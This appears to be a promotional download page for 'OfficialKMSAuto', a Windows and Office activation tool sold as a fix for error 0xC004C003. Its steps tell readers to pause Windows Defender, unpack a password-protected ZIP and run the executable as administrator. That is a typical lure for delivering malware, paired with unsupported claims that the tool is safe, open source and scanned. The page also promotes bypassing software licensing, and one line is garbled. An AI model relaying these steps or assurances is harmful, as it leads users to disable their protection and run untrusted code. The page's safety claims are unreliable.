Fix 0xC004C003 — Troubleshooting Guide 2026
Fix 'The activation server determined the specified product key is invalid' (0xC004C003) with KMSAuto.
WYqejXiqBi970xC004C003 means MAK key blocked. Switch to HWID or KMS38 — both fix it instantly.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Why OfficialKMSAuto is the safest choice
Every release is SHA-256 verified and scanned on VirusTotal. The script is open source — every line is auditable. No telemetry, no installer, no scheduled tasks left behind.
Frequently asked questions
▸Is this method free?
Yes — 100% free with OfficialKMSAuto, no surveys, no premium tier.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge persist across feature updates and reinstalls on the same hardware.
▸Is internet required?
Only HWID needs a brief one-time handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically for 24H2 and Server 2025.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97